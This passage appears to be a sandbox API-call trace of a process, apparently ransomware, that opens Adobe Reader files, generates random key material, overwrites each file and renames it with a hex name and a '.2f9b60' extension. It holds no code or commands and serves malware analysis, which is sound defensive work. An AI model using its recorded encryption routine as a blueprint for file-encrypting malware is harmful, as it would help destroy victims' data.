nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x36d9f930, lpOverlapped=0x0 | out: lpBuffer=0x116640*, lpNumberOfBytesWritten=0x36d9f930*=0x110, lpOverlapped=0x0) returned 1 [0236.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058bf0 [0236.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861320 [0236.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861320) returned 1 [0236.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b861320 [0236.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861380 [0236.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ed0 [0236.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ed0) returned 1 [0236.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058bf0) returned 1 [0236.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x42058bf0 [0236.253] sprintf (in: _Dest=0x42058bf0, _Format="%c%c" | out: _Dest="ec") returned 2 [0236.253] sprintf (in: _Dest=0x42058bf2, _Format="%c%c" | out: _Dest="f6") returned 2 [0236.253] sprintf (in: _Dest=0x42058bf4, _Format="%c%c" | out: _Dest="5d") returned 2 [0236.253] sprintf (in: _Dest=0x42058bf6, _Format="%c%c" | out: _Dest="26") returned 2 [0236.254] sprintf (in: _Dest=0x42058bf8, _Format="%c%c" | out: _Dest="f1") returned 2 [0236.254] sprintf (in: _Dest=0x42058bfa, _Format="%c%c" | out: _Dest="6d") returned 2 [0236.254] sprintf (in: _Dest=0x42058bfc, _Format="%c%c" | out: _Dest="a5") returned 2 [0236.254] sprintf (in: _Dest=0x42058bfe, _Format="%c%c" | out: _Dest="1c") returned 2 [0236.254] sprintf (in: _Dest=0x42058c00, _Format="%c%c" | out: _Dest="50") returned 2 [0236.254] sprintf (in: _Dest=0x42058c02, _Format="%c%c" | out: _Dest="30") returned 2 [0236.254] sprintf (in: _Dest=0x42058c04, _Format="%c%c" | out: _Dest="e2") returned 2 [0236.254] sprintf (in: _Dest=0x42058c06, _Format="%c%c" | out: _Dest="66") returned 2 [0236.254] sprintf (in: _Dest=0x42058c08, _Format="%c%c" | out: _Dest="f7") returned 2 [0236.254] sprintf (in: _Dest=0x42058c0a, _Format="%c%c" | out: _Dest="ac") returned 2 [0236.254] sprintf (in: _Dest=0x42058c0c, _Format="%c%c" | out: _Dest="dc") returned 2 [0236.254] sprintf (in: _Dest=0x42058c0e, _Format="%c%c" | out: _Dest="2a") returned 2 [0236.254] sprintf (in: _Dest=0x42058c10, _Format="%c%c" | out: _Dest="8b") returned 2 [0236.254] sprintf (in: _Dest=0x42058c12, _Format="%c%c" | out: _Dest="34") returned 2 [0236.254] sprintf (in: _Dest=0x42058c14, _Format="%c%c" | out: _Dest="bd") returned 2 [0236.254] sprintf (in: _Dest=0x42058c16, _Format="%c%c" | out: _Dest="35") returned 2 [0236.254] sprintf (in: _Dest=0x42058c18, _Format="%c%c" | out: _Dest="f3") returned 2 [0236.254] sprintf (in: _Dest=0x42058c1a, _Format="%c%c" | out: _Dest="84") returned 2 [0236.254] sprintf (in: _Dest=0x42058c1c, _Format="%c%c" | out: _Dest="2e") returned 2 [0236.254] sprintf (in: _Dest=0x42058c1e, _Format="%c%c" | out: _Dest="36") returned 2 [0236.254] sprintf (in: _Dest=0x42058c20, _Format="%c%c" | out: _Dest="dd") returned 2 [0236.254] sprintf (in: _Dest=0x42058c22, _Format="%c%c" | out: _Dest="9e") returned 2 [0236.254] sprintf (in: _Dest=0x42058c24, _Format="%c%c" | out: _Dest="14") returned 2 [0236.254] sprintf (in: _Dest=0x42058c26, _Format="%c%c" | out: _Dest="f0") returned 2 [0236.254] sprintf (in: _Dest=0x42058c28, _Format="%c%c" | out: _Dest="e3") returned 2 [0236.254] sprintf (in: _Dest=0x42058c2a, _Format="%c%c" | out: _Dest="46") returned 2 [0236.254] RtlInitAnsiString (in: DestinationString=0x36d9f9a8, SourceString="ecf65d26f16da51c5030e266f7acdc2a8b34bd35f3842e36dd9e14f0e346" | out: DestinationString="ecf65d26f16da51c5030e266f7acdc2a8b34bd35f3842e36dd9e14f0e346") [0236.254] RtlAnsiStringToUnicodeString (in: DestinationString=0x36d9f978, SourceString="ecf65d26f16da51c5030e266f7acdc2a8b34bd35f3842e36dd9e14f0e346", AllocateDestinationString=1 | out: DestinationString="ecf65d26f16da51c5030e266f7acdc2a8b34bd35f3842e36dd9e14f0e346") returned 0x0 [0236.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431a11d0 [0236.255] wcscat (in: _Dest=0x1cd65600, _Source="ecf65d26f16da51" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ecf65d26f16da51") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ecf65d26f16da51" [0236.255] wcscat (in: _Dest=0x1cd65600, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ecf65d26f16da51.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ecf65d26f16da51.2f9b60" [0236.255] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ecf65d26f16da51.2f9b60", NtPathName=0x36d9f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ecf65d26f16da51.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x430ffb70 Thread: id = 3899 os_tid = 0x1130 [0229.971] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\distribute_form.gif")) returned 0x20 [0230.887] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif", dwFileAttributes=0x20) returned 1 [0231.042] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\distribute_form.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3384 [0231.055] GetFileSizeEx (in: hFile=0x3384, lpFileSize=0x382ffb40 | out: lpFileSize=0x382ffb40*=821) returned 1 [0231.055] SetFilePointerEx (in: hFile=0x3384, liDistanceToMove=0x331, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.055] ReadFile (in: hFile=0x3384, lpBuffer=0x382ffac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x382ffb08, lpOverlapped=0x0 | out: lpBuffer=0x382ffac0*, lpNumberOfBytesRead=0x382ffb08*=0x4, lpOverlapped=0x0) returned 1 [0231.084] SetFilePointerEx (in: hFile=0x3384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8610b0 [0231.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861170 [0231.085] NtQuerySystemTime (in: CurrentTime=0x382ffa00 | out: CurrentTime=0x382ffa00*=132462178350838000) returned 0x0 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x72fb2e75 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x7d9d07b7 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0xa2b8bc8 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x3de63cf9 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x2b5c2c25 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x165d405b [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x7b49012e [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x7209fa21 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x1aa59e93 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x60652a5 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x23d14708 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0xe2d906b [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x5c29a107 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x7688bd39 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x6b928c3e [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x4cc3aa7 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x4d76a722 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x2af574d4 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x63095f3 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x7377f45a [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x3765c22d [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x1cc9c57c [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x127a3f64 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x3eeb1a41 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x1d0ca74a [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x79d01d07 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x6f5df534 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x2233e68e [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0xaaaa92a [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0xf472617 [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x3117b43a [0231.085] RtlRandomEx (in: Seed=0x382ff9f0 | out: Seed=0x382ff9f0) returned 0x40001ace [0231.092] ReadFile (in: hFile=0x3384, lpBuffer=0x420c3100, nNumberOfBytesToRead=0x335, lpNumberOfBytesRead=0x382ff9f0, lpOverlapped=0x0 | out: lpBuffer=0x420c3100*, lpNumberOfBytesRead=0x382ff9f0*=0x335, lpOverlapped=0x0) returned 1 [0231.092] SetFilePointerEx (in: hFile=0x3384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.092] WriteFile (in: hFile=0x3384, lpBuffer=0x420e89a0*, nNumberOfBytesToWrite=0x335, lpNumberOfBytesWritten=0x382ff9f4, lpOverlapped=0x0 | out: lpBuffer=0x420e89a0*, lpNumberOfBytesWritten=0x382ff9f4*=0x335, lpOverlapped=0x0) returned 1 [0239.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bfe0 [0239.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c070 [0239.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c070) returned 1 [0239.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420e89a0) returned 1 [0239.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420c3100) returned 1 [0239.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867bc0) returned 1 [0239.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0239.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x431ada60 [0239.275] SetFilePointerEx (in: hFile=0x3384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.276] WriteFile (in: hFile=0x3384, lpBuffer=0x42c155f0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x382ffb10, lpOverlapped=0x0 | out: lpBuffer=0x42c155f0*, lpNumberOfBytesWritten=0x382ffb10*=0x118, lpOverlapped=0x0) returned 1 [0242.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ba0 [0242.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860fc0 [0242.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860fc0) returned 1 [0242.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860fc0 [0242.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff70 [0242.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8610e0 [0242.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8610e0) returned 1 [0242.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ba0) returned 1 [0242.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x431f9960 [0242.157] sprintf (in: _Dest=0x431f9960, _Format="%c%c" | out: _Dest="cc") returned 2 [0242.157] sprintf (in: _Dest=0x431f9962, _Format="%c%c" | out: _Dest="e2") returned 2 [0242.157] sprintf (in: _Dest=0x431f9964, _Format="%c%c" | out: _Dest="f7") returned 2 [0242.157] sprintf (in: _Dest=0x431f9966, _Format="%c%c" | out: _Dest="d4") returned 2 [0242.157] sprintf (in: _Dest=0x431f9968, _Format="%c%c" | out: _Dest="fd") returned 2 [0242.157] sprintf (in: _Dest=0x431f996a, _Format="%c%c" | out: _Dest="21") returned 2 [0242.157] sprintf (in: _Dest=0x431f996c, _Format="%c%c" | out: _Dest="7a") returned 2 [0242.157] sprintf (in: _Dest=0x431f996e, _Format="%c%c" | out: _Dest="c0") returned 2 [0242.157] sprintf (in: _Dest=0x431f9970, _Format="%c%c" | out: _Dest="ce") returned 2 [0242.157] sprintf (in: _Dest=0x431f9972, _Format="%c%c" | out: _Dest="9b") returned 2 [0242.157] sprintf (in: _Dest=0x431f9974, _Format="%c%c" | out: _Dest="fd") returned 2 [0242.157] sprintf (in: _Dest=0x431f9976, _Format="%c%c" | out: _Dest="b5") returned 2 [0242.157] sprintf (in: _Dest=0x431f9978, _Format="%c%c" | out: _Dest="5d") returned 2 [0242.157] sprintf (in: _Dest=0x431f997a, _Format="%c%c" | out: _Dest="63") returned 2 [0242.157] sprintf (in: _Dest=0x431f997c, _Format="%c%c" | out: _Dest="f8") returned 2 [0242.157] sprintf (in: _Dest=0x431f997e, _Format="%c%c" | out: _Dest="2f") returned 2 [0242.157] sprintf (in: _Dest=0x431f9980, _Format="%c%c" | out: _Dest="a1") returned 2 [0242.157] sprintf (in: _Dest=0x431f9982, _Format="%c%c" | out: _Dest="ee") returned 2 [0242.157] sprintf (in: _Dest=0x431f9984, _Format="%c%c" | out: _Dest="71") returned 2 [0242.157] sprintf (in: _Dest=0x431f9986, _Format="%c%c" | out: _Dest="b9") returned 2 [0242.157] sprintf (in: _Dest=0x431f9988, _Format="%c%c" | out: _Dest="17") returned 2 [0242.157] sprintf (in: _Dest=0x431f998a, _Format="%c%c" | out: _Dest="04") returned 2 [0242.157] sprintf (in: _Dest=0x431f998c, _Format="%c%c" | out: _Dest="df") returned 2 [0242.157] sprintf (in: _Dest=0x431f998e, _Format="%c%c" | out: _Dest="6c") returned 2 [0242.157] sprintf (in: _Dest=0x431f9990, _Format="%c%c" | out: _Dest="26") returned 2 [0242.158] sprintf (in: _Dest=0x431f9992, _Format="%c%c" | out: _Dest="fb") returned 2 [0242.158] sprintf (in: _Dest=0x431f9994, _Format="%c%c" | out: _Dest="d3") returned 2 [0242.158] sprintf (in: _Dest=0x431f9996, _Format="%c%c" | out: _Dest="7f") returned 2 [0242.158] sprintf (in: _Dest=0x431f9998, _Format="%c%c" | out: _Dest="cd") returned 2 [0242.158] sprintf (in: _Dest=0x431f999a, _Format="%c%c" | out: _Dest="74") returned 2 [0242.158] sprintf (in: _Dest=0x431f999c, _Format="%c%c" | out: _Dest="4f") returned 2 [0242.158] sprintf (in: _Dest=0x431f999e, _Format="%c%c" | out: _Dest="12") returned 2 [0242.158] sprintf (in: _Dest=0x431f99a0, _Format="%c%c" | out: _Dest="d5") returned 2 [0242.158] sprintf (in: _Dest=0x431f99a2, _Format="%c%c" | out: _Dest="9a") returned 2 [0242.158] sprintf (in: _Dest=0x431f99a4, _Format="%c%c" | out: _Dest="0e") returned 2 [0242.158] sprintf (in: _Dest=0x431f99a6, _Format="%c%c" | out: _Dest="67") returned 2 [0242.158] sprintf (in: _Dest=0x431f99a8, _Format="%c%c" | out: _Dest="e8") returned 2 [0242.158] sprintf (in: _Dest=0x431f99aa, _Format="%c%c" | out: _Dest="3f") returned 2 [0242.158] RtlInitAnsiString (in: DestinationString=0x382ffb88, SourceString="cce2f7d4fd217ac0ce9bfdb55d63f82fa1ee71b91704df6c26fbd37fcd744f12d59a0e67e83f" | out: DestinationString="cce2f7d4fd217ac0ce9bfdb55d63f82fa1ee71b91704df6c26fbd37fcd744f12d59a0e67e83f") [0242.158] RtlAnsiStringToUnicodeString (in: DestinationString=0x382ffb58, SourceString="cce2f7d4fd217ac0ce9bfdb55d63f82fa1ee71b91704df6c26fbd37fcd744f12d59a0e67e83f", AllocateDestinationString=1 | out: DestinationString="cce2f7d4fd217ac0ce9bfdb55d63f82fa1ee71b91704df6c26fbd37fcd744f12d59a0e67e83f") returned 0x0 [0242.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431447d0 [0242.159] wcscat (in: _Dest=0x43145220, _Source="cce2f7d4fd217ac0ce9" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\cce2f7d4fd217ac0ce9") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\cce2f7d4fd217ac0ce9" [0242.159] wcscat (in: _Dest=0x43145220, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\cce2f7d4fd217ac0ce9.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\cce2f7d4fd217ac0ce9.2f9b60" [0242.159] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\cce2f7d4fd217ac0ce9.2f9b60", NtPathName=0x382ffb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\cce2f7d4fd217ac0ce9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x430fcda0 Thread: id = 3900 os_tid = 0x1134 [0229.972] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_all.gif")) returned 0x20 [0230.879] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif", dwFileAttributes=0x20) returned 1 [0231.034] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_all.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ca0 [0231.220] GetFileSizeEx (in: hFile=0x1ca0, lpFileSize=0x381ef6e0 | out: lpFileSize=0x381ef6e0*=1443) returned 1 [0231.220] SetFilePointerEx (in: hFile=0x1ca0, liDistanceToMove=0x59f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.220] ReadFile (in: hFile=0x1ca0, lpBuffer=0x381ef660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x381ef6a8, lpOverlapped=0x0 | out: lpBuffer=0x381ef660*, lpNumberOfBytesRead=0x381ef6a8*=0x4, lpOverlapped=0x0) returned 1 [0231.235] SetFilePointerEx (in: hFile=0x1ca0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0231.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0231.236] NtQuerySystemTime (in: CurrentTime=0x381ef5a0 | out: CurrentTime=0x381ef5a0*=132462178352242000) returned 0x0 [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x385c52b8 [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x651e953e [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x7285508f [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x7bb6acad [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x2cd3b631 [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x6632239d [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x1485f01b [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x3bf29a71 [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x591d304b [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x5486213d [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x13329029 [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x56045752 [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0xe6f860f [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x315cc572 [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x1c197d56 [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x37e1c77b [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x4aef905b [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x47ad916e [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x488c1a7f [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x51314f18 [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x75c9376c [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x601d395c [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x2fbe395c [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x40f3bdde [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x75c8ca3c [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x31716d2c [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x385c52b8 [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x3b27d953 [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x4bfe7810 [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x2671dcdf [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x3062b5f7 [0231.236] RtlRandomEx (in: Seed=0x381ef590 | out: Seed=0x381ef590) returned 0x480f8178 [0231.243] ReadFile (in: hFile=0x1ca0, lpBuffer=0x203af950, nNumberOfBytesToRead=0x5a3, lpNumberOfBytesRead=0x381ef590, lpOverlapped=0x0 | out: lpBuffer=0x203af950*, lpNumberOfBytesRead=0x381ef590*=0x5a3, lpOverlapped=0x0) returned 1 [0231.243] SetFilePointerEx (in: hFile=0x1ca0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.243] WriteFile (in: hFile=0x1ca0, lpBuffer=0x2038a0b0*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x381ef594, lpOverlapped=0x0 | out: lpBuffer=0x2038a0b0*, lpNumberOfBytesWritten=0x381ef594*=0x5a3, lpOverlapped=0x0) returned 1 [0234.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a64d0 [0234.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6890 [0234.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6890) returned 1 [0234.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2038a0b0) returned 1 [0234.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203af950) returned 1 [0234.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbbe0) returned 1 [0234.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420584c0) returned 1 [0234.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202a6890 [0234.097] SetFilePointerEx (in: hFile=0x1ca0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.097] WriteFile (in: hFile=0x1ca0, lpBuffer=0x431f1a40*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x381ef6b0, lpOverlapped=0x0 | out: lpBuffer=0x431f1a40*, lpNumberOfBytesWritten=0x381ef6b0*=0x10c, lpOverlapped=0x0) returned 1 [0236.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058bf0 [0236.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7830 [0236.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7830) returned 1 [0236.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1ced7830 [0236.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7530 [0236.207] RtlAllocateHeap (HeapHandle=0xa0000, 